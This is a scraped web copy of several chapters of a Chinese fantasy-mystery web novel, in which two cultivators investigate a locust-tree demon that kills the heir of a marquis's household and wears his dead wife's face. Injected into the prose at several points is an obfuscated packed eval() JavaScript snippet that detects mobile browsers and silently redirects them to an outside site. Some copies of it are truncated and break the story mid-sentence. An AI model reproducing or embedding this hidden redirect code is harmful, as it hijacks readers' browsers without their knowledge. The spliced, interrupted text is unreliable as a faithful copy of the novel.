;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445956|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢尽芜抿了抿唇:“或许我可以帮你。” 叶清圆很干脆地拒绝:“不了,你现在邪印发作,该好好休息才对。” 谢尽芜的眸中染上点点笑意:“没关系。你教我,我可以做好的。” 叶清圆又摇头:“礼物还是亲手做的比较有诚意。” “你准备将它送给别人吗?” “嗯,”叶清圆很坦然地承认,“只是我不确定对方想不想要。” 谢尽芜的脸色一下子就变得难看了。他的脑海中迅速浮现出几道人影,却都被他一一否决。 他冷着脸:“你要送给谁?” 还有谁是他不认识的?千花河畔那个白衣男子吗?果真,她那天就是在看那男子,偏她还不承认,非说在看马车。 马车有什么好看的?把他当三岁小孩子哄骗吗? 纵使是糊弄他,也都不肯用心一点。 “不告诉你。” 叶清圆从妆屉里挑出两只珊瑚坠子,放在灯下给他瞧,轻声道:“我想在手串里编点有趣的东西。你只管说,这两个坠子,哪个更好看?” 谢尽芜一点眼神都不给珊瑚坠子,只盯着她看,眸中很难得地显出烦躁:“都不好看。” “你什么眼光。”叶清圆羞恼得红了脸,“这两条坠子可都是从我的首饰里挑出来的!” 谢尽芜的眼神却愈发冷肃:“哦,还是贴身物件。” “那又怎么了?”叶清圆辩解道,“反正我又没戴过,算不得贴身。只是一时找不到合适的装饰罢了,恰好珊瑚坠子和手串的颜色挺配的。” 她把手串和珊瑚坠子捧在手心,递到他的眼皮子底下,试探道:“真的不好看吗?” 谢尽芜的心里莫名开始怄气。他站起身,冷声道:“不好看,别折腾了。” “我觉得还可以呀。”叶清圆又仔细看了两眼,满意得不得了。 她最终下了定论:“不是还可以,而是非常漂亮,简直绝配!” 谢尽芜气得脸色都变了,薄红的嘴唇抿了抿:“好,是我没眼光。随便你怎么弄。” 话音落下,他忍着眉宇的燥郁,转身就要离开。 “哎等等!”叶清圆拉住他的衣袖,仰起脸与他视线相对,“好好的,怎么说生气就生气?” 谢尽芜移开目光,不肯和她对视,轻声道:“我困了,要回去睡觉了。” “……嗯,好。”叶清圆感觉到他拒绝的态度,于是慢慢放开了拽着他衣袖的手指,怔然望着他离开的挺拔背影。 这还是她头一次见谢尽芜发这么大的火。纵使是在原书中,谢尽芜也向来冷静理智,很少出现被情绪支配的情况。 此刻,竟然被她气得脸都红了。 谢尽芜走得有些慢,他的腰背挺拔,连背影都掩不住身上清贵英俊的气质。 “谢尽芜。”叶清圆出声叫住了他。 她回身从妆屉里取出一捧金钿、玛瑙和珊瑚配饰,走到神情冷肃的谢尽芜身边,含笑道:“这些小物件,你喜欢哪个?” 谢尽芜皱眉道:“我都不喜欢。而且……” 他偏过脸去,低垂的浓睫覆下阴影,看起来竟有几分落寞:“这个问题,你应该去问那个收礼物的人。” 叶清圆没忍住弯唇笑了:她好像看出谢尽芜不高兴在什么地方了。 “挑一个吧。”她眼中的笑意更浓,柔声道,“只凭你自己的心意就好了,喜欢哪个就告诉我。” 谢尽芜一怔,顿时察觉到了某种不同的意味。 这么问,原来是要送给他吗? 他的视线落在她手里令人眼花缭乱的配饰上,很谨慎地问道:“这些你都戴过吗?” “也不是,我只戴过这一串珍珠。”她认真回想道,“别的还没戴过呢。” “……嗯,若那人是男子,无论戴金钿、玛瑙或者珊瑚,都太过张扬。”谢尽芜抬起眼帘,黑曜石般的眸子闪着细碎的光。 “所以,还是珍珠最合适,对吗?”叶清圆将手串拿来,在灯下细瞧。 谢尽芜状似不经意地问:“你要送给什么人?我认识吗?” “不能告诉你。”叶清圆将配饰都收回妆屉里,转过身,笑得眉眼弯弯,“不过你说得没错,用珍珠也很合适。” 她仰头看他,两秒后,唇角忽地牵起一个倦懒的弧度:“如果这件礼物是送给你,你会喜欢吗?谢尽芜。” 谢尽芜不经意与她含笑的目光相撞,很明显地怔了一瞬:“我不喜欢如果。” 叶清圆轻轻颔首:“好吧。” “你……” 浓秀的睫毛掩住了他眼中纷乱复杂的情绪,谢尽芜推开门,轻声道:“无妨,我又不在意这些。” “……还有,夜里睡觉时不要开窗。若你着凉生病了,恐怕会耽误明天的正事。” 叶清圆笑着道:“好,晚安。” 木门阖上,烛火被溜进来的微风拨弄得轻轻摇曳。 叶清圆靠在窗前的案几上,粉颈微垂,无声地露出一个笑容。 45. 槐枝 “谢公子,叶姑娘,多谢二位这几日的奔波操劳,府里才能重归安宁。”潘淳玉举杯相敬,唇角含笑道,“潘某不胜感激。” 他的眉宇间隐隐的愁闷,眼珠布着细小的红丝,连笑也勉强,一看便知许久不曾休息。 天幕被接连几日的暴雨冲刷得湛蓝,澄澈的天幕中点缀着浓白蓬软的云团,日光明媚且耀眼。 支摘窗半开着,凉爽清新的风萧萧地吹进来,裹着各类花草的清润香气。窗外栽种了两棵重瓣白木槿,摇曳的花枝在厅内地砖上投下水波般荡漾的影子。 正厅内摆了一张圆桌,几名丫鬟忙着添茶倒水。崔老夫人坐在上首,潘淳玉为副陪。谢尽芜和叶清圆则端坐在主宾和副宾的位子。 谢尽芜的唇角勾起一抹笑意,温暖明媚的日光照亮他的半边肩颈。他黑曜石般的眼眸掩在阴影中,冷凝而疏离。 他起身与潘淳玉轻轻碰杯,温和道:“潘公子客气了,这本是我辈的职责所在。” 叶清圆也笑微微地举杯相碰:“我以茶代酒。” 又把杯盏敬向崔老夫人,甜声道:“崔老夫人早日康复,万事安康。” 纵使崔老夫人的种种表现不太正常,在真相查清之前,她不得罪人,场面话都说足,不把氛围搞僵。 崔老夫人含笑一连说了好几个“好”。三人各自落座。 潘淳玉微垂着眼睫,眉宇间的燥郁遮掩不住。按潘府对外的说法,府中的槐妖已经被他们留下的符咒降服、灰飞烟灭,如今谢宴都开了,他却依旧一副愁眉苦脸的模样。 潘淳玉到底在遮掩什么?事关崔老夫人的性命安危,他竟还打别的算盘? 崔老夫人久病初愈,虽仍有些虚弱,却心情很好的模样:“多亏你们二位的相助,我和淳儿才没有后顾之忧啊。不瞒你们讲,这些时日,我们不知为此耗费了多少心神!” 她这番话说得费力,显然一场大“病”耗去她许多心力。 潘淳玉低声道:“母亲,注意身体。” “无妨,”崔老夫人轻咳一声,“好不容易解决了一个棘手的麻烦,我高兴还来不及呢。” 她微笑道:“金璧城这么大,二位来了许久,可也有好好逛逛?” 叶清圆笑道:“我们刚来就看了千花河畔的灯会,热闹又漂亮,不愧是只有金璧城才会出现的繁华景象。听闻这一次是潘公子主办的呢。” 潘淳玉本来有些神思不属,闻言也只是抬头轻笑:“过奖。” 崔老夫人很快地瞧了他一眼,神色微变。她复又笑道:“淳儿这几日忙于灯会的布置,家里又出了这么一档子事,两头顾及,难免会有疲累的时候。” 潘淳玉也没有反驳,只轻笑。 崔老夫人收回目光,满眼笑意地望着谢尽芜和叶清圆,状似不经意问道:“那市井坊间流传的风言风语,想必二位也听说过?” 原来在这里等着呢。 叶清圆腹诽道:但是前面的铺垫也太短了,崔老夫人在心急什么? 谢尽芜淡声道:“坊间传闻,不足为信。” “嗯,”崔老夫人对他的理智很是认可,“我虽一把年纪了,什么大风大浪都见过。可一旦谈到此事,我仍是无可奈何。” 潘淳玉皱起眉:“母亲。” “我和淳儿,可谓是待她不薄。”崔老夫人像是没听见他的话,叹息道,“多年的养育之恩在那里摆着,我也不求她的回报。可她千不该万不该,她不能耽误了淳儿,又败坏了我们侯爵府几代人打下来的名望!” 潘淳玉将筷子搁在白玉碗上,清脆的一声响。他加重了声音:“母亲,不要再说了。” “如今人都死了,竟还不依不饶,妄图谋害我们母子!”崔老夫人被他这种态度激怒,牵动内伤,痛得脸部肌肉顿时扭曲起来,“天底下何曾有这样的道理?” 身后一名侍候的丫鬟垂首低目,好像并没有注意到老夫人的异常。 潘淳玉此刻再也忍不住了,冷声道:“婉婉从未对不起我们潘家。还望母亲不要这么说。” 崔老夫人听了这话,气更不打一处来了:“事到如今,你竟还一味袒护着她!她到底给你灌了什么迷魂汤!” 潘淳玉的脸上也现出不悦:“这一切都是我心甘情愿,与她有何关系?” 崔老夫人瞪大了双眼,眼里写满了不可置信:“她要索你的命啊!淳儿!” “索命?”潘淳玉闭上眼睛,一脸疲惫至极的模样,“我欠她许多,一切就随她吧。” “潘淳玉!” 众目睽睽之下,这母子二人竟因为莫婉婉而争执起来。 谢尽芜唇边那份礼节性的微笑彻底消失了。修长白皙的手指搁在酒盏杯壁,他垂着眼睫,不知在想什么。 叶清圆的视线则落在了潘淳玉身上。他眉头紧锁,眉宇间怒意萦绕不散,手中的酒盏都快要被他徒手捏碎。 她收回目光,淡声道:“敢问二位,莫夫人究竟是病故,还是……离开了金璧城?” 潘淳玉抬眼,声音冷冷:“先前已经告诉过二位,家妻是因病亡故……” “然而坊间传闻,是婉婉和那个宋雨阁远走高飞了,是吗?” 叶清圆端坐在桌旁,神情淡然地等待他的下文。 潘淳玉向后一靠,换了个放松的姿态。他的唇角勾起一抹笑容,同时极为轻蔑地嘲讽道:“这些人既不了解侯爵府,也不了解我。我看上的人,谁也夺不走。纵使要死,也只能死在我的手上!” 崔老夫人惊讶地睁大双眼:“淳儿,你在胡说些什么?!” 她话音未落,神情却在一瞬间凝固。 潘淳玉本来半阖的双眼蓦地睁大。唇边的笑意消散,他剧烈地呛咳一声,血液从他的口鼻中喷涌而出! 殷红的雾珠飞溅,泼洒在冒着热气的酒盏菜肴上! 变故只在一瞬,浓腥的血沿着他的下巴与脖颈滑落,染红了绣满雷纹的雪白领口。 潘淳玉跌坐在椅子里,双眼大睁,下巴微抬。 而在他的心口上,一道槐枝穿胸而过。 崔老夫人的脸都白了,浑身颤抖着筛糠一样。她顾不得被溅了半边脸的血,扯着一把风箱似的嗓子,崩溃地嘶声叫道:“我的儿——!” 厅内顿时乱作一团,丫鬟们吓得动也不敢动,厅外的侍卫闻声赶来,厅里顿时挤满了人。 谢尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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若说潘淳玉眼里的轻慢是因他久居高位,被人捧得丢掉了戒心与谦恭。那么潘璞玉则是因多年征战沙场,亲手持剑厮杀出来的一种骁悍、干练的气质,是一种始终稳操胜券的凌厉。 潘璞玉像是早已预料到府中会发生什么,此刻他的脸上并没有半点意外。 他的视线在厅内扫了一圈,最终落在叶清圆和谢尽芜的脸上,含笑道:“让二位见笑了,二位请随我来。祁叔!” 祁仕业快步进厅,向来紧锁的眉头此刻竟是舒展开来,眼中也罕见地带了笑意。他向着潘璞玉一恭身,道:“大少爷有何吩咐?” 潘璞玉摘了护腕递给他,一边吩咐道:“派几个人去竹林里那处院子,把该拆的都拆了,再把那个被软禁的小丫鬟带过来见我!” 祁仕业隐忍许久,可算是等到他主持公道的这一天,激动得连连称是,转身快步离开。 厅内的丫鬟已经将桌席都收拾干净,潘璞玉重新请谢尽芜和叶清圆落座,自己坐在上首,抬手唤人奉茶。 叶清圆的视线落在桌面清晰的木质纹路,心内腹诽道:这副本刷的,一天天像是看戏。 潘璞玉没有说客套话寒暄的习惯,他低头喝了一口茶,单刀直入道:“府内槐妖并没有被除掉,对吗?” 谢尽芜的视线落在桌面摆着的带血槐枝上,示意他自己看。 潘淳玉从鼻腔里哼笑一声,里头有种轻蔑的意味:“就是这东西,害得我潘府许久不得安宁?” 他抬起眼帘,目光不经意落在谢尽芜面上,蓦地一顿。 半晌,他的脸色变了:“你是……希夷殿二殿主?” 46. 封闭 谢尽芜转头看他,冷漠疏离的一双眼:“阁下认识我?” 潘璞玉扯起唇角笑:“如何不认识?谢二殿主少年得志,八岁就被选入希夷殿,十五岁破格提为二殿主。整个皇都,谁人没听过谢尽芜的大名?谁敢不避谢二殿主的锋芒?” 谢尽芜的脸上没有半点笑意:“十七岁时,希夷殿被迫卷入一场权力更迭的斗争,短短三日,偌大的希夷殿,灰飞烟灭。” 他用如此平淡的语气讲述惨烈到不堪回首的往事,淡漠到让人以为他在叙述与自己完全不相干的经历。 潘璞玉多年在官场和沙场摸爬滚打,窥探人心的本事早已出神入化。或许是谢尽芜的麻木唤起了他早年眼睁睁看着兄弟战死的痛苦,他轻叹一声,难得对人如此诚恳真挚,轻声道:“谢公子,世事浮沉。” 谢尽芜的眼珠轻移,笑道:“潘公子,谈正事吧。这槐妖还藏在贵府之中,一句话,杀,还是不杀。” “自然是杀,但在动手之前,我得先问个清楚。”潘璞玉毫不在意地笑笑,“这到底是个什么妖怪,能让我弟弟袒护成这样?全府上下十几口人的性命都在这摆着,他竟然还能无动于衷。” 叶清圆试探着道:“这槐妖,或许是人的怨灵有关系。” 潘璞玉道:“姑娘是指,我的弟妹?” “莫夫人生前所居的那处宅院,被人设下了阵法。一道是封死魂魄,另一道是魂飞魄散。”叶清圆斟酌道,“这两道阵法,显然是由两拨人设下。他们对于莫夫人的态度,似乎有些分歧。” 潘璞玉显然也没料到自己家里会设这样狠毒的阵法,一双狭长的凤眸蓦地睁大了。 “阵法?”他下意识看了看谢尽芜,后者神情冷漠,没有丝毫波动。 潘璞玉没再问,他的眼眸当即微沉,本就凌厉的眼神顿时变得阴冷起来。 半晌,他低声道:“没有府里人的允许,谁敢在侯爵府设下这样的阵法?” 这话说得很明白了。府里当家的只有崔老夫人和潘淳玉两个人,潘淳玉的脑子都快长在莫婉婉身上了,当然不会设些恶毒的阵法在她院中。 那么出手的人,只能是崔老夫人了。 叶清圆道:“潘公子认为呢?” “我常年不在家里,这些事我不太清楚。”潘璞玉曲着手指一下一下敲打在茶盏的杯壁上,这是他思考时下意识的动作,“但这件事显然闹得太大,整个金璧城满是流言蜚语,潘府闹鬼这种话甚至传到了北疆。父亲无暇,我才只好回来一趟。” “但既然要查,这件事就必须查个水落石出。” 他话音刚落,厅外走廊忽地传来一阵急匆匆的脚步声,祁仕业慌里慌张地赶过来,气都没喘匀,道:“大少爷,不好了。那名叫小彤的丫鬟,悬梁自尽了!” 潘璞玉浓眉扬起。 他冷笑一声:“这么巧?她被关在竹林宅院里半年多都毫发无损,现在我刚回来,她就悬梁自尽?” 祁仕业拧眉道:“她脖子上的伤痕凌乱,手腕上有绳子捆缚过的痕迹,手指也出了血,像是和人争斗过的模样。” 知道潘璞玉要回来,所以赶在他进门之前销毁证据。 甚至今天特意安排的这场谢宴,都未必是要真心道谢。 若非席间突发变故,潘璞玉又提前一天回来,暂时稳住了局面,就连谢尽芜和叶清圆两人的安危或许都会受到威胁。 毕竟,他们何尝不算是这场闹剧的人证呢? 叶清圆皱着眉头,脑子里乱成了一团浆糊。 潘璞玉也是被气笑了,他举起茶盏抿了一口茶,短暂地沉默。 此时,谢尽芜冷不防开口问道:“方才在席间,站在崔老夫人身后的那名丫鬟叫什么名字?” 祁仕业被问得一愣,回忆道:“是老夫人的贴身丫鬟,云珠吧。” 谢尽芜又问:“她现在身在何处?” “老夫人方才晕厥过去,她自然是陪同着一起到了后宅,照顾老夫人去了。” 祁仕业话说出口,忽然一愣,脸色霎时变白:“不对!我方才路过老夫人的院子时,还听见那几个丫鬟到处在找云珠呢!” 云珠是照顾崔老夫人的贴身丫鬟,本该寸步不离才是。可老夫人如今都被吓得晕厥了,她却不知踪影,这实在蹊跷。 潘璞玉的眉头一瞬皱紧了。厅内众丫鬟、护卫闻言俱是惊恐起来。 偌大的厅堂内,弥漫着死一般的寂静。虽无人出声惊叫,可众人的脸上均现出惶恐。 稀薄的日光穿过支摘窗照进来,细小的尘埃在光柱中飞舞。 窗外天幕澄澈,绿树繁荫。 分明是明媚温暖的初夏晌午,却好像有细细的凉风沿着缝隙钻进来,吹得人脖颈一阵发凉。 潘璞玉心绪烦乱,可又说不出到底哪里不对劲。 与此同时,支摘窗“咣当!”一声阖得紧实。众人吓了一跳,骇然望去。 窗外天光投射在窗纸上,勾勒出一道朦胧绰约的轮廓,隐约是少女的身影。 这少女站定窗前,一身浅碧春衫,双鬟花头簪。她戴一副珍珠耳环,垂坠如流苏,清浅的影子在窗纸上一晃一晃。 她站在那里,脸朝着窗内贴得极近,似乎要透过这一层薄薄的窗纸看到什么。众人站在厅内,简直都能看到她那抹了胭脂的唇与小巧的下巴。 然而诡异的是,将近半分钟的时间过去,她却如同入定一般,纹丝不动。 有丫鬟凭身形便认出了她,颤声道:“是……是云珠姐姐吗?” 她话音落下的一瞬间,窗外那女子好像被惊动了一般,珍珠耳坠蓦地晃了晃。下一刻,紧阖的木窗骤然哐当作响,宛如狂风过境。众人连忙抬袖遮挡,同时闭眼。 厅内帘帐与屏风被劲风推得摇摆不止,周遭顿时陷入一片黑暗。 这一切只不过是几息间的事,众人再睁开眼时,满厅都黑得伸手不见五指。 有丫鬟恐惧到惊叫,声音里带了哭腔:“现在不是白天吗?怎么我什么都看不见?” 叶清圆也抬眼看向窗外,隔着一层窗纸,外头的天黑得仿佛要滴墨。周遭脚步声已经乱了起来,间杂着刀剑出鞘的声音,护卫们满脸戒备地警惕着。 潘璞玉起身推窗,手臂用力,那木窗竟然纹丝不动。 “潘公子,不必费力气了。这里应当是被设下了阵法。” 谢尽芜手腕微动,灯架上的十几支灯烛噗嗤点亮,昏暗的亮光照清了方寸之地的景象。 叶清圆惊讶得睁大双眼。谢尽芜和潘璞玉则始终端坐在桌旁,眼神冷静沉着,纹丝未动。 其余丫鬟们瑟缩在一处,小脸上满是惊惶。 潘璞玉打了十几年仗,被槐妖如此挑衅,却也并不动怒。他的视线落在谢尽芜的脸上,淡声道:“谢公子,接下来该怎么处置?” 谢尽芜的视线落在窗外那道少女的身影。那少女仍旧维持着先前的姿势,一动不动地俯身,透过窗纸“观察”着厅内众人。 她抬起一只手,掌心按在支摘窗的窗台。耳边的珍珠耳坠一晃一晃,头颅却纹丝不动,整个人透出一种诡异的感觉。 “云珠姐姐?” 就在众人屏息以待的时刻,一名同样穿浅碧色春衫的侍女走上前去,试探着唤了一声。 她从银质烛台上取下一支灯烛,张开手指护住火光,缓步朝着窗口走去。 “云珠姐姐,你是想进来吗?我这就给你开窗。” 话音一出,厅内诸人皆是猛然一惊。与她交好的一名侍女战战兢兢上前拉她衣袖:“你在和谁说话呀?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445958|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她却恍然未觉,木着一张脸,坚定不移地向窗边走去,仿佛受到了某种召唤。 侍卫举刀相阻,刀刃划过她的衣袖,布帛撕裂的声音如惊雷般炸开在这寂静的花厅,她也毫无反应。 谢尽芜抬手示意:“不必拦她。” 侍卫面面相觑,放下了刀。满厅的人就这样眼睁睁看着这名侍女走向了窗边。 侍女的神思混沌,视线一片模糊。行走时筋骨顿挫的清脆声回荡在她的脑海,令人一阵毛骨悚然。 她看到自己的手抬起来,推开窗,支摘窗发出极轻的“吱呀”一声,冷风倒灌进来。 窗外的风真冷,花香中夹杂着刺骨的冰霜气,竟完全不像六月天的温度。掌心托着的灯烛缓缓淌下一滴泪,血红的颜色,灼烫在她的手心。 她的神思骤然清醒,推窗的动作也随之一顿。 扑鼻的腐烂腥臭味道,像是血肉糜烂在地底。 窗外有人。 她定睛一看,眼前正对着的竟是腐烂的半张脸。这张脸一半腐烂发臭,另一半已完全化为白骨,混合着泥土落叶,肮脏至极。 而在白骨的里头,竟还有密密麻麻的根系穿梭其中! 这根系仿佛是有生命的活物,表面呼吸般起伏膨胀着,汲取那张脸上残存的养分。 随着根系的一次又一次起伏,那张腐烂的脸肉眼可见地瘪下去一块。 然而,红唇仍在,那“人”唇角微勾,冲她灿然一笑。 侍女一瞬间大脑空白,怔怔地看着窗外那“人”扯开一抹笑容。 浑身的力气被抽走一般,手脚软得止不住打颤。她手中的明烛拿不住,轻晃两下,“啪!”地摔在地上。 与此同时,窗外的云珠露齿一笑,漫天雪白的槐花簌簌钻入厅内,直冲侍女的喉咙而去! 侍女浑身发了疯似的颤抖,嘶哑尖锐的爆鸣声从那原本娇嫩的嗓子眼里扯出来:“啊啊——!!” 就在那纷乱的槐花飞入窗内的瞬间,谢尽芜抽剑出鞘,冷凝的剑光如雪般照亮幽暗的花厅。眨眼间,漫天槐花被强硬地推出窗外。 菱花纹的支摘窗发出一声不堪重负的爆响,木窗几乎要被剑气平推得掉落下来。紧接着,窗外的“云珠”惨呼一声,踉跄着遁身逃去。 仓皇的声响在厅外的长廊上,沉闷的咚咚声,不像是脚步声,倒像是木桩在击打着什么东西。 祁仕业抖着腿往外看了一眼。这一看,顿时吓得魂不附体。 那“槐妖”跌跌撞撞地,竟然把自己的脑袋给蹦掉了! 好标致的一颗头颅,就这么“砰!”地撞在了院子里那积水的毛竹上。 而剩下的身躯,直挺挺地在原地愣了一会,随即也像是失了支撑点的积木般零散开来。 眨眼的功夫,侍女“云珠”已经不见了踪影,只剩下槐树枝咕噜噜滚了满地。 祁仕业吓得跌坐在地,抬袖抹了一把额头的冷汗,喃喃道:“障眼法、障眼法而已。” 谢尽芜收剑,淡声道:“潘公子,可看清窗外那人的相貌了?” 潘璞玉纵使与辟兵世家相识多年,见识过不少仙门子弟捉妖御鬼的场面,但像谢尽芜这般淡定的还是第一次见。 他毫不吝啬眼中的欣赏敬服之意,笑道:“看清了,但没认出来,或许是哪个丫鬟吧。祁叔,你认为呢?” 众人的目光一时都落在了祁仕业的身上。这才发现祁仕业此时浑身发颤,脸色苍白如纸,竟是怕到了极点的模样。 潘璞玉也觉得奇怪:“不过是个没脸的死人而已。祁叔,你也是见过世面的老人了,至于怕成这样?” 祁仕业上前一步,神情惶恐,整个人透出一种溺水般的慌张:“大少爷,那人不是侍女云珠,她是婉婉、是婉婉啊!” 47. 黑暗 潘璞玉有些意外:“是她的脸?” 花厅内诸人一时都忍不住将目光投向他。 叶清圆腹诽道:敢情这位大少爷连自己弟妹长什么模样都不记得啊。 潘璞玉话说出口,也觉出有些尴尬,补充道:“窗外那东西分明就不是个人,只不过借了莫婉婉的脸来此故弄玄虚罢了。” 谢尽芜垂着眼帘思索一瞬,淡声道:“它借着莫婉婉的脸出现在此处,只为了吓我们吗?” “声东击西?”叶清圆方才也被那张腐烂的脸吓到了,此时声音还有些颤抖,“细细想来,这槐妖每次出现,针对的都只是崔老夫人和潘二公子。” 潘璞玉的眉眼一凛,迅速站起身:“也就是说,方才的侍女,只是它用来拖延时间的一种手段?” 窗外的阴云逐渐被风吹散了,稀薄的阳光透过破漏的窗洒进屋内。 厅内众人面面相觑,神色惊恐。祁仕业后知后觉地意识到这是个圈套,慌张道:“不好,不好。老夫人和二少爷此刻昏迷不醒,可什么防备都没有啊!” 潘璞玉的眉宇间陡然生出怒气:“这槐妖不杀是不行了!既然阵法已破,谢公子,我们一同去后院看看吧。” 叶清圆抬眼看向谢尽芜,谢尽芜的面色沉冷,一副若有所思的模样。 可就在谢尽芜垂眸望她的那一刻,叶清圆注意到,他殷润的眼眸中忽地闪过一丝戏谑之意,有股子对眼前形势了如指掌的意思。 叶清圆恍惚间以为自己看错了,待到再仔细瞧时,他眼中的那份嘲谑已经消失不见。 谢尽芜垂下眼睫,薄薄的唇微抿了一下,似在思索着什么。 这疑虑仅是一瞬。他俯下.身,低声道:“你乖乖地待在这里。” 他的声音刻意压低到只有彼此之间能听清的程度,低沉悦耳的声音响在她的耳畔,带着若即若离的热度。 叶清圆的耳畔登时一热。她抬起手臂,刚要叫他保持距离。谢尽芜却径自直起身来,伸手从衣领中拎出一条吊坠。 正是那条栀子花样式的白玉吊坠,温润的光如清水一般流转在幽暗的花厅。谢尽芜眼也不眨地取下来,放在叶清圆的手心里。 他的体温也借由这块白玉在她的手心慢慢漾开。 不知为何,叶清圆只觉手心里仿佛被一团火灼烫住了。他的声音从头顶传来:“这块白玉带在身边,相当于符印护体。你要收好。” 叶清圆点点头:“好。” 他们的声音压得极低,稍微站远一些的人都听不清说了些什么。潘璞玉也只当他二人在说些悄悄话,很是有礼地将目光移向了别处。 然而,当潘璞玉的视线不经意擦过她手心那块白玉的时候,神色却现出一瞬的茫然,随即,则是满眼的震惊。 他的视线慢慢挪到谢尽芜的脸上,一瞬不转地盯着瞧,仿佛要从他那张脸上盯出什么字来。 谢尽芜根本没注意他的脸色变化,早已推门走了出去。潘璞玉犹疑一瞬之后,也觉得正事要紧,因此只对厅内的丫鬟和侍卫匆忙吩咐了一句:“照顾好叶姑娘。”便快步跟了出去。 平稳的步伐声响起在幽寂阴暗的长廊,很快便消失不见。 这时,花厅内除了叶清圆和祁管事之外,还有潘府的几名丫鬟和侍卫。窗外漆黑如墨,花树枝桠的影子投射在窗纸上,嶙峋凌厉,像是锋利的兽爪。厅中灯架上散发出幽幽昏黄的光,烛火摇曳,昏暗的身影在地砖上摇摆扑朔,更衬出此刻的气氛诡异。 众侍卫抽刀出鞘,各自守住门窗,丫鬟们则是护在叶清圆和祁管事的身旁,恐惧得肩膀都瑟缩起来。 叶清圆站在灯下,细细回想方才谢尽芜离开时的神情,总觉得有些不太对劲。 谢尽芜从来懒得参与侯爵府的这档子事,若非她强拉着他来此,连今日的谢宴他都未必肯赏脸。方才又怎么会接受潘璞玉的提议,要前往后宅一观呢? 更诡异的是,这条白玉吊坠既然有他贴身佩戴,该当是十分珍贵的物件了,怎么如此轻易地就交给她了? 叶清圆还没来得及理清思绪,忽然窗外传来一阵珠玉轻撞的清脆声,紧接着,一道高高的身影再次映入了众人的眼帘。 丫鬟们倒吸一口凉气,满脸惊诧骇然。 定眼看去,这道身影极为明显地比方才莫婉婉的身影高出许多,倒像是个成年男子的身量了。 而更诡异的是,这道“人影”竟是长了个硕大的脑袋,与下面瘦削的肩膀一经比较,竟是完全不成比例! 丫鬟颤声道:“你们看到了吗?” “这、这人的脑袋为何这么大?到底是什么妖怪啊?是槐妖吗?还是……莫夫人?” 厅堂内顿时响起一阵恐慌的窃窃私语声,幸好众人怕归怕,却暂时无人胡乱走动,造成混乱。叶清圆走近半步,借着朦胧的月光将那身影轮廓仔细看了看:“她的头上好像是戴了什么东西?” 话音落下,支摘窗忽然“吱呀——”响了起来,细碎纷乱的槐花从木窗的缝隙间钻进来,却并未袭击厅内众人的意思,只像是活物一般,慢慢地游移在窗下的木框。 与此同时,一名丫鬟浑身颤抖如筛糠,尖声惊叫道:“有人——有人在我身后!啊——!!!” 满厅的恐惧情绪已然积攒到了极点,这一声尖叫爆开,众人顿时骇然转身,生怕自己身后也有妖鬼作祟。 那丫鬟吓得双眼大睁,反手捂住自己的后脖颈,牙关止不住地打颤:“它、它在我的脖子上呵气!还在笑!” 她的话音未落,厅内霎时响起一阵惊呼。这次众人可吓得腿都要软了,慌乱间撞到了博古架和桌椅,碰撞声与惊呼声配合着窗外的幽咽冷风,场面顿时乱作一团。祁管事见状大声道:“这东西在故弄玄虚,大伙不要自乱阵脚!” 叶清圆迅速从荷包中取出一沓符咒,分发给诸人,安抚道:“这道符咒有驱邪避鬼的作用,大家都尽量保持冷静,不要乱。” 然而这份安静仅维持了不到一盏茶的时候,窗外的那道“人影”忽地动了动。 它将一块长条木板压在紧阖着的支摘窗上,另一只手竟是抡起了一只铁锤。 “铛!铛!铛!” 祁管事的目光死死盯住了那挥舞的手臂轮廓,瞪大的眼睛里瞬间涌上了血丝。 满厅的人也像是被钉住了一般,神情惶恐,浑身颤抖不停。 沉重却清晰的敲击声响彻花厅,那块长条木板就这么被钉死在了支摘窗上! 窗外的朦胧月光也因此而被遮蔽了几分,厅内光线愈发昏暗起来。 很快,它举起第二块长条木板,铁锤抡起,沉重的敲击声再次响起在花厅。 叶清圆感到很是奇怪:“这是那只槐妖吗?” 它想要把窗户封死吗?一只妖,为什么会采取这么麻烦且低智的方式? 满厅诸人闭口不言,仿佛是根本没听到她的话。 叶清圆也没在意,她只是对这样故弄玄虚的行径感到厌烦,与其搞小动作愚弄诸人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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烛台被风吹得轻摇,光线昏暗不定。此时槐妖终于进了花厅露了面,众人才看清它竟是作了凤冠霞帔的打扮,连眼角旁的那颗泪痣都用水粉掩去了,原原本本就是莫婉婉嫁入侯爵府时的模样。 小丫鬟整个人都离了地,两条腿挣扎着扑腾个不停。然而,槐妖的手掌和手指却硬得仿佛钢筋铁铸,掐在她脆弱细嫩的喉管上纹丝不动,无论她如何挣扎,它都没有露出半分吃力的神色。 那槐妖冷笑着,眼瞳深黑到了恐怖的程度:“你睁开眼睛,好好看着我这张脸!这些日子里,你的心里可曾有过半点愧疚?” 小丫鬟的一张脸青中泛紫,止不住地翻白眼,显然是要窒息的模样。 祁管事怒声道:“住手!我不管你是什么妖,都不许顶着婉婉的脸在这里胡作非为!” 